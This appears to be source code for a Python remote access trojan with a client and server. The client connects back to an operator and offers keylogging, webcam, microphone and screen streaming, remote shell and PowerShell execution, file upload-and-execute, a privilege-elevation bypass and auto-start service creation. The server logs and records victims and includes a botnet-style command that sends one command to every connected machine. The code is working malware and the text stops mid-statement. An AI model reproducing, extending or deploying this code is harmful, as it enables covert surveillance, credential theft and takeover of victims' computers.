def Keylogger(ip, port, encoding): try: headersize = 10 e = Encryption() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) def on_press(key): try: recv = s.recv(1024) log = pickle.dumps(str(key)) log = zlib.compress(log) log = e.do_encrypt(log) final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log s.send(final_msg) except: exit(0) with Listener(on_press=on_press) as L: L.join() except: exit(0)
def Talk(ip, port, encoding): try: headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' e = Encryption() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) CHUNK = 81920 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) while True: try: talk_msg = s.recv(81920) if new_msg: msg_len = int(talk_msg[:headersize]) new_msg = False full_msg += talk_msg if len(full_msg) - headersize == msg_len: data = e.do_decrypt(full_msg[headersize:]) data = zlib.decompress(data) data = pickle.loads(data) stream.write(data) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg s.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: stream.stop_stream() stream.close() p.terminate() exit(0) except: exit(0)
def Audio(ip, port, encoding): try: headersize = 10 new_msg = True msg_len = 0 full_msg = b'' e = Encryption() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) CHUNK = 81920 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True) while True: try: Audio_msg = s.recv(1024) if new_msg: msg_len = int(Audio_msg[:headersize]) new_msg = False full_msg += Audio_msg if len(full_msg) - headersize == msg_len: frame = stream.read(CHUNK) frame = pickle.dumps(frame) frame = zlib.compress(frame, 1) frame = e.do_encrypt(frame) final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame s.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: stream.stop_stream() stream.close() p.terminate() exit(0) except: exit(0)
def Stream(ip, port, encoding): try: headersize = 10 new_msg = True msg_len = 0 full_msg = b'' e = Encryption() g = Grabber() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) while True: try: last_time = time.time() recv_msg = s.recv(1024) if new_msg: msg_len = int(recv_msg[:headersize]) new_msg = False full_msg += recv_msg if len(full_msg) - headersize == msg_len: frame = g.grab() cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2) frame = pickle.dumps(frame) frame = zlib.compress(frame, 1) frame = e.do_encrypt(frame) final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame s.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: cv2.destroyAllWindows() exit(0) except: exit(0)
def Cam(ip, port, encoding, position): try: headersize = 10 new_msg = True msg_len = 0 full_msg = b'' e = Encryption() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) cam = cv2.VideoCapture(position) while True: try: Cam_msg = s.recv(1024) if new_msg: msg_len = int(Cam_msg[:headersize]) new_msg = False full_msg += Cam_msg if len(full_msg) - headersize == msg_len: check, frame = cam.read() frame = pickle.dumps(frame) frame = zlib.compress(frame, 1) frame = e.do_encrypt(frame) final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame s.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: cam.release() cv2.destroyAllWindows() exit(0) except: exit(0)
class Client: encrypt = Encryption() headersize = 10 new_msg = True msg_len = 0 full_msg = b'' def __init__(self, server_ip='127.0.0.1', server_port=1200, encoding='latin-1'): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.ip = server_ip self.port = server_port self.encoding = encoding try: self.username = f'{os.environ["USERNAME"].capitalize()}@{platform.node()}' except: self.username = '******' @staticmethod def sub_shell(message, encoding, ret=True): shell = Popen(message, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) if ret: return shell.stdout.read().decode(encoding).strip() + shell.stderr.read().decode(encoding).strip() def send_message(self, message): result = pickle.dumps(message) result = zlib.compress(result, 1) encrypted_msg = Client.encrypt.do_encrypt(result) result = bytes(f'{len(encrypted_msg):<{Client.headersize}}', self.encoding) + encrypted_msg self.s.send(result) def connect(self): try: self.s.connect((self.ip, self.port)) except: exit(0) def listen(self): while True: try: while True: msg = self.s.recv(81920) if Client.new_msg: Client.msg_len = int(msg[:Client.headersize]) Client.new_msg = False Client.full_msg += msg if len(Client.full_msg)-Client.headersize == Client.msg_len: decrypted_msg = Client.encrypt.do_decrypt(Client.full_msg[Client.headersize:]) decompressed_msg = zlib.decompress(decrypted_msg) message = pickle.loads(decompressed_msg)['message'] if message[:2].lower() == 'cd': try: os.chdir(message[3:]) self.send_message({'message': f'{os.getcwd()}'}) except: self.send_message({'message': f'Could not find directory {message[3:]}'}) elif message[:7].lower() == 'elevate': try: threading.Thread(target=Bypass, args=[message[8:]], daemon=False).start() self.send_message({'message': f'Elevating privileges complete, program will be running as administrator within the next seconds!\nIf you are escelating privileges of this program, you will need to have duplicates option enabled.'}) except: self.send_message({'message': f'Something went wrong when attempting to elevate privileges.'}) elif message[:7].lower() == 'service': try: data = message[8:].split() assert len(data) == 3 result = Client.sub_shell(f'sc {data[0]} {data[1]} binpath= {data[2]} start= auto', self.encoding).strip() self.send_message({'message': result}) except Exception as e: print(e) self.send_message({'message': f'Something went wrong working with services.'}) elif message[:8].lower() == 'download': try: args = message[9:] if message[-2:].lower() == '-e': args = message[9:-3] with open(args, 'rb') as f: self.send_message({'message': f'Download of {args} complete!', 'download': f.read()}) except: self.send_message({'message': f'Download of {args} failed, please try again.'}) elif message[:6].lower() == 'upload': try: args = message[7:] if message[-2:].lower() == '-e': args = message[7:-3] with open(args, 'wb') as f: f.write(pickle.loads(decompressed_msg)['image']) if message[-2:].lower() == '-e': Client.sub_shell(args, self.encoding) self.send_message({'message': f'Upload of {args} complete!'}) except: self.send_message({'message': f'Upload of {args} failed.'}) elif message.lower() == 'screenshot' or message.lower() == 'screenshot -s': try: img = ImageGrab.grab() frame = numpy.array(img) self.send_message({'message': f'Upload of screenshot complete!', 'screenshot': frame}) except: self.send_message({'message': f'Upload of screenshot failed.'}) elif message.lower() == 'devices': try: devices = 0 sizes = [] result = '' while True: cap = cv2.VideoCapture(devices) if cap.read()[0]: devices += 1 width = int(cap.get(3)) height = int(cap.get(4)) sizes.append((width, height)) else: break cap.release() for i, size in enumerate(sizes): result += f'\n - Camera {i}: {size}' if len(sizes) > 1: result += '\n' self.send_message({'message': f'Number of webcam devices is {devices}{result}'}) except: self.send_message({'message': f'Something went wrong reading devices.'}) elif message[:6].lower() == 'webcam': try: args = message.lower().split() position = int(args[1]) cam = cv2.VideoCapture(position) check, frame = cam.read() assert check self.send_message({'message': f'Upload of webcam screenshot complete!', 'webcam': frame}) except: self.send_message({'message': f'Upload of webcam screenshot failed.'}) else: cam.release() cv2.destroyAllWindows() elif message[:6].lower() == 'stream': try: args = message[7:].lower().split(':') assert len(args) == 2 threading.Thread(target=Stream, args=[args[0], int(args[1]), self.encoding], daemon=True).start() self.send_message({'message': f'Stream running!'}) except: self.send_message({'message': f'Stream failed to run (client).'}) elif message[:3].lower() == 'cam': try: args = message[4:].lower().split()[:-1] assert len(args) == 2 position = int(args[1]) address = args[0].split(':') threading.Thread(target=Cam, args=[address[0], int(address[1]), self.encoding, position], daemon=True).start() self.send_message({'message': f'Cam running!'}) except: self.send_message({'message': f'Cam failed to run (client).'}) elif message[:5].lower() == 'audio': try: args = message[6:].lower().split(':') assert len(args) == 2 threading.Thread(target=Audio, args=[args[0], int(args[1]), self.encoding], daemon=True).start() self.send_message({'message': f'Audio running!'}) except: self.send_message({'message': f'Audio failed to run (client).'}) elif message[:9].lower() == 'keylogger': try: args = message[10:].lower().split(':') assert len(args) == 2 threading.Thread(target=Keylogger, args=[args[0], int(args[1]), self.encoding], daemon=True).start() self.send_message({'message': f'Keylogger running!'}) except: self.send_message({'message': f'Keylogger failed to run (client).'}) elif message[:4].lower() == 'talk': try: args = message[5:].lower().split(':') assert len(args) == 2 threading.Thread(target=Talk, args=[args[0], int(args[1]), self.encoding], daemon=True).start() self.send_message({'message': f'Talk running!'}) except: self.send_message({'message': f'Talk failed to run (client).'}) elif message[:7].lower() == 'message': try: args = message[8:].split('=>') style = 0 assert len(args) <= 3 and args[0] != '' if len(args) == 1: args.append(args[0]) args[0] = 'Message' elif len(args) == 3: style = int(args[2]) threading.Thread(target=show_message, args=[args[0], args[1], style], daemon=True).start() self.send_message({'message': f'Message shown!'}) except: self.send_message({'message': f'Message failed to show.'}) elif message[:4].lower() == 'open': try: args = message[5:].lower().split() assert len(args) == 1 threading.Thread(target=open_browser, args=[args[0]], daemon=True).start() self.send_message({'message': f'Webbrowser opened!'}) except: self.send_message({'message': f'Webbrowser failed to open.'}) elif message[:2].lower() == 'ps': try: server_data = message.split() server_data.pop(0) data = ['powershell', '/c'] for i, d in enumerate(server_data): data.insert(i + 2, d) self.send_message({'message': f'{Client.sub_shell(data, self.encoding).strip()}'}) except: self.send_message({'message': f'Something went wrong using powershell, please try again.'}) elif message[-2:].lower() == '-t': try: threading.Thread(target=Client.sub_shell, args=[message[:-3].split(), self.encoding, False], daemon=False).start() self.send_message({'message': 'Command running as a thread!'}) except: self.send_message({'message': 'Command failed to run as a thread.'}) elif message[:15].lower() == 'dk7ad6mwo5apwr4': types = ['OS', 'COMPUTER', 'VERSION', 'EXACT VERSION', 'MACHINE', 'PROCESSOR', 'LOCAL IP'] info = [] zipz = [] try: info = [x for x in platform.uname()] except: info = ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN'] try: info.append(socket.gethostbyname(socket.gethostname())) except: info.append('UNKOWN') try: data = geocoder.ip('me').json['raw'] for key, value in data.items(): types.append(key.upper()) if value == '': info.append('UNKOWN') else: info.append(value) except: types += ['IP', 'HOSTNAME', 'CITY', 'REGION', 'COUNTRY', 'LOC', 'POSTAL', 'ORG'] info += ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN'] for i in range(len(info)): zipz.append((types[i], info[i])) if message.lower() == 'dk7ad6mwo5apwr4khg': self.send_message({'message': ((self.username, bool(is_running_as_admin())), zipz)}) else: self.send_message({'message': zipz}) elif message.lower() == 'aij4sawxorng2u9w5ar7': self.send_message({'message': (self.username, bool(is_running_as_admin()))}) elif message.lower() == 'aij4oaw4orn12u9w5ar7': self.send_message({'message': f'True'}) else: result = Client.sub_shell(message.split(), self.encoding).strip() if result == '': result = 'Empty response.' self.send_message({'message': result}) Client.new_msg = True Client.msg_len = 0 Client.full_msg = b'' except KeyboardInterrupt: continue except: exit(0)
def Cam(encoding, path, user, quality): try: global cam_settings FRAMES = 5.0 headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' r = random.randint(0, 1000000) e = Encryption() client, addr = s.accept() u = (user, client, addr) cam_settings.append(u) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) fourcc = cv2.VideoWriter_fourcc(*'XVID') out = cv2.VideoWriter( f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality) while True: try: client_msg = client.recv(81920) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg) - headersize == msg_len: frame = e.do_decrypt(full_msg[headersize:]) frame = zlib.decompress(frame) frame = pickle.loads(frame) cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL) cv2.imshow(f'{user}\'s live cam. {r}', frame) out.write(frame) if cv2.waitKey(1) == 27: client.close() break real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: cam_settings.remove(u) out.release() exit(0) cam_settings.remove(u) out.release() except: exit(0)
def Talk(encoding, path, user): try: global talk_settings CHUNK = 81920 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 headersize = 10 new_msg = True msg_len = 0 full_msg = b'' frames = [] e = Encryption() client, addr = s.accept() u = (user, client, addr) talk_settings.append(u) p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) msg = pickle.dumps(stream.read(CHUNK)) msg = zlib.compress(msg, 1) msg = e.do_encrypt(msg) final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg client.send(final_msg) while True: try: client_msg = client.recv(1024) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg) - headersize == msg_len: data = stream.read(CHUNK) frames.append(data) msg = pickle.dumps(data) msg = zlib.compress(msg, 1) msg = e.do_encrypt(msg) final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: talk_settings.remove(u) waveFile = wave.open( f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(p.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() exit(0) except: exit(0)
def Keylogger(encoding, path, user): try: global keylogger_settings fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt' first = True headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' e = Encryption() client, addr = s.accept() u = (user, client, addr, fn) keylogger_settings.append(u) with open(fn, 'a') as f: f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n') f.flush() real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) while True: client_msg = client.recv(1024) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg)-headersize == msg_len: log = e.do_decrypt(full_msg[headersize:]) log = zlib.decompress(log) log = pickle.loads(log) result = '' key = log.replace("'", '') t = time.strftime("%Y-%m-%d (%H-%M-%S): ") if first: if 'Key.space' not in log or 'Key.enter' not in log: result = t first = False if len(key) > 1: result += f'[{key}]' else: result += key if 'Key.space' in log or 'Key.enter' in log: result = f'\n{t}{result}' f.write(result) f.flush() real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: keylogger_settings.remove(u) exit(0)
class Server: # Socket, queue & encryption s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) q = Queue() encrypt = Encryption() toaster = ToastNotifier() # headersize headersize = 10 # Threads & jobs threads = 2 jobs = [1, 2] # Connections & addresses connections = [] addresses = [] usernames = [] priveldges = [] information = [] # Program & Session timers sessionTime = '' runningTime = '' # Message transfer new_msg = True msg_len = 0 full_msg = b'' msg = '' # Keep alive & connect notice keep_alive_timer = 60 # Filter client filter_client = None # Session clear screen session_clear_screen = False """ The method called upon instantiation to provide & verify the options specified by the user available as command line arguments. """ def __init__(self, ip, port, username, theme, encoding, console_notice, email_notice, duplicates, whoami, history, banner, module_ports): # Ip & port & encoding self.ip = ip self.port = port self.module_ports = module_ports self.banner = set_bool(banner) self.duplicates = set_bool(duplicates) self.history = set_bool(history) self.whoami = set_bool(whoami) self.encoding = set_encoding(encoding) # Username & theme self.username = set_username(username) self.theme = set_theme(theme) # Notices self.console_notice = set_bool(console_notice) self.email_notice = set_email(email_notice) """ Listens for connections to accept & handle for in the methods below. It simply is setting up, binding & listening to a socket. """ def listen(self): try: Server.s.bind((self.ip, self.port)) Server.s.listen() except: msg_len = len(f'Binding socket to IP[{self.ip}] PORT[{self.port}] failed.') print(f'{self.theme[1]}\n{"-" * msg_len}\nBinding socket to IP[{Style.RESET_ALL}{self.theme[3]}{self.ip}{Style.RESET_ALL}]{self.theme[1]} PORT[{Style.RESET_ALL}{self.theme[3]}{self.port}{Style.RESET_ALL}{self.theme[1]}] failed.\n{"-" * msg_len}{Style.RESET_ALL}') os._exit(0) """ How to handle the connections coming in, adding the data of who this client is to lists, files & verifying the connection is coming through the client script & not any foreign program. """ def accept(self): # Close all Server.connections for connection in Server.connections: connection.close() # Reset Server.connections & Server.addresses del Server.connections[:] del Server.addresses[:] # Accept all clients & append data to lists while True: client, address = Server.s.accept() data = '' try: if self.whoami: data = self.send_message(client, 'dk7ad6mwo5apwr4khg') # Options - Duplicate flag if self.duplicates is False and data[0][0] in Server.usernames: client.close() continue # Append data to lists Server.usernames.append(data[0][0]) Server.priveldges.append(data[0][1]) Server.information.append(data[1]) info = '' for typez, item in data[1]: info += f'{typez}: {item}\n' dirs = ['Data', f'Data/{data[0][0]}'] setup_directory(dirs) with open(f'{os.getcwd()}/Data/{data[0][0]}/{data[0][0]}.txt', 'w') as f: f.write(f'USER: {data[0][0]}\nIP: {address[0]}\nPORT: {address[1]}\n{info}') else: data = self.send_message(client, 'aij4sawxorng2u9w5ar7') # Options - Duplicate flag if self.duplicates is False and data[0] in Server.usernames: client.close() continue # Append data to lists Server.usernames.append(data[0]) Server.priveldges.append(data[1]) Server.information.append([('OS', 'UNSET'), ('COMPUTER', 'UNSET'), ('VERSION', 'UNSET'), ('EXACT VERSION', 'UNSET'), ('MACHINE', 'UNSET'), ('PROCESSOR', 'UNSET'), ('LOCAL IP', 'UNSET'), ('IP', 'UNSET'), ('HOSTNAME', 'UNSET'), ('CITY', 'UNSET'), ('REGION', 'UNSET'), ('COUNTRY', 'UNSET'), ('LOC', 'UNSET'), ('POSTAL', 'UNSET'), ('ORG', 'UNSET')]) except: client.close() continue Server.connections.append(client) Server.addresses.append(address) # Options - History, Whoami, Notice & Email Notice if self.history: user = '' if self.whoami: user = data[0][0] else: user = data[0] now = time.strftime('%Y-%m-%d (%H-%M-%S)') dirs = ['Data', f'Data/{user}'] setup_directory(dirs) with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: msg = f'CONNECTION: ({now})' f.write(f'{msg}\n{"-" * len(msg)}\n') if self.console_notice: now = time.strftime('%H:%M') Server.toaster.show_toast('Connection Notice!', f'{user} Connected! ({now})\nAddress: {address[0]}:{address[1]}', icon_path=None, duration=5, threaded=True) if self.email_notice[0]: try: info = '' if self.whoami: for typez, item in data[1]: info += f'\n{typez}: {item}' now = timer() subject = f'Connection! {now}' text = f'CONNECTION: {user}\nIP: {address[0]}\nPORT: {address[1]}\nWHEN: {now}{info}' Email(self.email_notice[1], self.email_notice[2], self.email_notice[1].split() + self.email_notice[3], subject, text).send_email() except: print(f'{self.theme[1]}\nFailed to send email notification.\nPlease check your configuration options.\n\n{Style.RESET_ALL}{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') """ Shell is the handler for everything it lets you delete, list & connect with clients. It allows you to specify options of how the program should operate but also has special features like the "all" command to allowing botnet like behaviour. """ def shell(self): # Setup shell clear_screen() Server.runningTime = timer() if self.banner: banner(self.theme) # Setup thread threading.Thread(target=self.keepAlive, daemon=True).start() while True: try: # Setup input print(f'{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') try: shell_msg = readInput(self.encoding, True).lower() except TimeoutError: continue # Running modules if shell_msg == 'running': print(f'{self.theme[2]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}\n{Style.RESET_ALL}') continue # Stream elif shell_msg[:6] == 'stream': try: if shell_msg[7:11] == 'kill': print(f'{self.theme[2]}{set_stream_settings(shell_msg[12:])}{Style.RESET_ALL}\n') else: self.session(self.getConn(int(shell_msg[7:])), True, 'stream') except: print(f'{self.theme[2]}Failed to handle stream.{Style.RESET_ALL}\n') # Cam elif shell_msg[:3] == 'cam': try: if shell_msg[4:8] == 'kill': print(f'{self.theme[2]}{set_cam_settings(shell_msg[9:])}{Style.RESET_ALL}\n') else: args = shell_msg[4:].split() self.session(self.getConn(int(args[0])), True, f'cam {args[1]} {args[2]}') except: print(f'{self.theme[2]}Failed to handle cam.{Style.RESET_ALL}\n') # Audio elif shell_msg[:5] == 'audio': try: if shell_msg[6:10] == 'kill': print(f'{self.theme[2]}{set_audio_settings(shell_msg[11:])}{Style.RESET_ALL}\n') else: self.session(self.getConn(int(shell_msg[6:])), True, 'audio') except: print(f'{self.theme[2]}Failed to handle audio.{Style.RESET_ALL}\n') # Keylogger elif shell_msg[:9] == 'keylogger': if shell_msg[10:14].lower() == 'kill': print(f'{self.theme[2]}{set_keylogger_settings(shell_msg[15:])}{Style.RESET_ALL}\n') elif shell_msg[10:14] == 'text': try: data = get_logs(int(shell_msg[15:])) print(f'{self.theme[2]}{data[1]}{Style.RESET_ALL}\n') except: print(f'{self.theme[2]}Failed to type logs.{Style.RESET_ALL}\n') elif shell_msg[10:15] == 'image': try: data = get_logs(int(shell_msg[16:])) assert data[0] is not None dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') image = text_image(data[1]) image.show() image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') print(f'{self.theme[2]}Logs visualization complete!{Style.RESET_ALL}\n') except: print(f'{self.theme[2]}Failed to visualize logs.{Style.RESET_ALL}\n') else: try: self.session(self.getConn(int(shell_msg[10:])), True, 'keylogger') except: print(f'{self.theme[2]}Failed to handle keylogger.{Style.RESET_ALL}\n') # Talk elif shell_msg[:4] == 'talk': try: if shell_msg[5:9] == 'kill': print(f'{self.theme[2]}{set_talk_settings(shell_msg[10:])}{Style.RESET_ALL}\n') else: self.session(self.getConn(int(shell_msg[5:])), True, 'talk') except: print(f'{self.theme[2]}Failed to handle talk.{Style.RESET_ALL}\n') # Server shell elif shell_msg[:6] == 'server': try: data = Popen(shell_msg[7:], shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) print(f'{self.theme[2]}{data.stdout.read().decode(self.encoding).strip()}{data.stderr.read().decode(self.encoding).strip()}{Style.RESET_ALL}\n'.replace('ÿ', ' ')) except: print(f'{self.theme[2]}Something went wrong running shell command.\n{Style.RESET_ALL}') # Archive elif shell_msg[:7] == 'archive': try: if shell_msg.strip() == 'archive': raise Exception('No data to archive') if shell_msg[-2:] == '-a': shutil.make_archive('Data', 'zip', f'{os.getcwd()}/Data') shutil.rmtree(f'{os.getcwd()}/Data') else: user = shell_msg[8:] shutil.make_archive(user.capitalize(), 'zip', f'{os.getcwd()}/Data/{user.capitalize()}') shutil.rmtree(f'{os.getcwd()}/Data/{user}') print(f'{self.theme[2]}Successfully archived your data!\n{Style.RESET_ALL}') except: print(f'{self.theme[1]}Something went wrong trying to archive your data.\n{Style.RESET_ALL}') # Whoami elif shell_msg[:6] == 'whoami': try: target = int(shell_msg[7:]) # Filter enabled Server.filter_client = Server.addresses[target][1] data = self.send_message(Server.connections[target], 'dk7ad6mwo5apwr4') # Filter disabled Server.filter_client = None Server.information[target] = data info = '' for typez, item in data: info += f'{typez}: {item}\n' dirs = ['Data', f'Data/{Server.usernames[target]}'] setup_directory(dirs) with open(f'{os.getcwd()}/Data/{Server.usernames[target]}/{Server.usernames[target]}.txt', 'w') as f: f.write(f'USER: {Server.usernames[target]}\nADMIN: {Server.priveldges[target]}\nIP: {Server.addresses[target][0]}\nPORT: {Server.addresses[target][1]}\n{info}') print(f'{self.theme[2]}Whoami complete on connection {target}!\n{Style.RESET_ALL}\n', end='') except: print(f'{self.theme[1]}Something went wrong running whoami.\n{Style.RESET_ALL}') # Send all elif shell_msg[:3] == 'all': # If no clients if len(Server.connections) == 0: print(f'{self.theme[1]}No clients connected\n{Style.RESET_ALL}') for index, connection in enumerate(Server.connections): try: out = f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' out_length = len(str(index) + Server.usernames[index] + str(Server.priveldges[index]) + Server.addresses[index][0] + str(Server.addresses[index][1]) + '[] ADMIN[] IP[] PORT[]') print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') client_msg = self.session(self.getConn(index), True, shell_msg[4:]) if client_msg: self.delete_client(index, Server.usernames[index]) except: print(f'{self.theme[1]}Something went wrong sending message.\n{Style.RESET_ALL}') # List elif shell_msg[:4] == 'list' or shell_msg[:2] == 'ls': if shell_msg == 'list' or shell_msg == 'ls': self.list_connections(False) elif shell_msg == 'list -l' or shell_msg == 'ls -l': self.list_connections(True) else: print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') # Select elif shell_msg[:7] == 'session': try: target = int(shell_msg[8:]) conn = self.getConn(target) if conn is not None: self.session(conn) except: print(f'{self.theme[2]}\'{shell_msg[8:]}\' is not a valid session.\n{Style.RESET_ALL}') # Client elif shell_msg[:6] == 'client': try: args = shell_msg.split() target = int(args[1]) cmd = ' '.join(args[2:]) out = f'{self.theme[2]}{Server.usernames[target]}[{Style.RESET_ALL}{self.theme[3]}{target}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[target]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' out_length = len(str(target) + Server.usernames[target] + str(Server.priveldges[target]) + Server.addresses[target][0] + str(Server.addresses[target][1]) + '[] ADMIN[] IP[] PORT[]') print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') self.session(self.getConn(target), True, cmd) except: if len(Server.connections) == 0: print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') else: print(f'{self.theme[1]}Something went wrong, please try again.\n\n{Style.RESET_ALL}', end='') # Delete elif shell_msg[:3] == 'del': try: if shell_msg[4:] == '*': if len(Server.connections) == 0: print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') else: self.delete_client(':', '*') print(f'{self.theme[2]}All connections deleted!\n\n{Style.RESET_ALL}', end='') else: self.delete_client(int(shell_msg[4:]), Server.usernames[int(shell_msg[4:])]) print(f'{self.theme[2]}Connection ({Style.RESET_ALL}{self.theme[3]}{shell_msg[4:]}{Style.RESET_ALL}{self.theme[2]}) deleted!\n\n{Style.RESET_ALL}', end='') except: print(f'{self.theme[2]}\'{shell_msg[4:]}\' is not a valid connection to delete.\n\n{Style.RESET_ALL}', end='') # Options elif shell_msg == 'options': if len(self.email_notice[3]) > 0: emails_connector = ', ' else: emails_connector = '' quick_mode = False if self.history is False and self.whoami is False and self.email_notice[0] is False: quick_mode = True if self.email_notice[0]: email_info_notice = f' - Email Notice: True\n - Email: {self.email_notice[1]}\n - Password: {self.email_notice[2]}\n - To: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}' else: email_info_notice = f' - Email Notice: False\n - Email: {self.theme[1]}(Unused: {self.email_notice[1]}){Style.RESET_ALL}{self.theme[2]}\n - Password: {Style.RESET_ALL}{self.theme[1]}(Unused: {self.email_notice[2]}){Style.RESET_ALL}{self.theme[2]}\n - To: {Style.RESET_ALL}{self.theme[1]}(Unused: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}){Style.RESET_ALL}' module_ports_keys = ('Stream', 'Cam', 'Audio', 'Keylogger', 'Talk') module_ports_data = '' for index, moudle_port in enumerate(self.module_ports): module_ports_data += f'\n {self.theme[2]}- {module_ports_keys[index]}:{Style.RESET_ALL} {self.theme[1]}(Constant: {moudle_port}){Style.RESET_ALL}' print(f'{self.theme[1]}Options Available:{Style.RESET_ALL}{self.theme[2]}\n - IP: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.ip}){Style.RESET_ALL}{self.theme[2]}\n - PORT: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.port}){Style.RESET_ALL}{self.theme[2]}\n - MODULE PORTS:{Style.RESET_ALL} {module_ports_data}{Style.RESET_ALL}{self.theme[2]}\n - Quick Mode: {quick_mode}\n - Username: {self.username}\n - Theme: {self.theme[-1]}\n - Encoding: {self.encoding}\n - History: {self.history}\n - Whoami: {self.whoami}\n - Notice: {self.console_notice}\n - Duplicates: {self.duplicates}\n{email_info_notice}\n{Style.RESET_ALL}') # Set options elif shell_msg[:3] == 'set': try: value = 